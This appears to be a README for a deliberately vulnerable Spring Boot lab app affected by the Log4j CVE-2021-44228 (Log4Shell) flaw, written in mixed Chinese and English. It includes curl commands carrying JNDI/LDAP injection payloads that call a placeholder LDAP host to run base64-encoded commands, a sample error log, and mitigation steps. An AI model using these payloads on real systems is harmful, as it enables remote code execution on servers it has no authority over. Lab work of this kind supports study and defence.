此应用程序基于易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序。
它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)。

运行它:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

参考:https://logging.apache.org/log4j/2.x/security.html
应用程序的快速热修复 -> 在 >=2.10 的版本中,可以通过将系统属性 log4j2.formatMsgNoLookups 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true 来缓解此行为。对于 2.0-beta9 到 2.10.0 的版本,缓解措施是从 classpath 中移除 JndiLookup 类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
在应用程序中将 log4j 升级到 2.15.0 并部署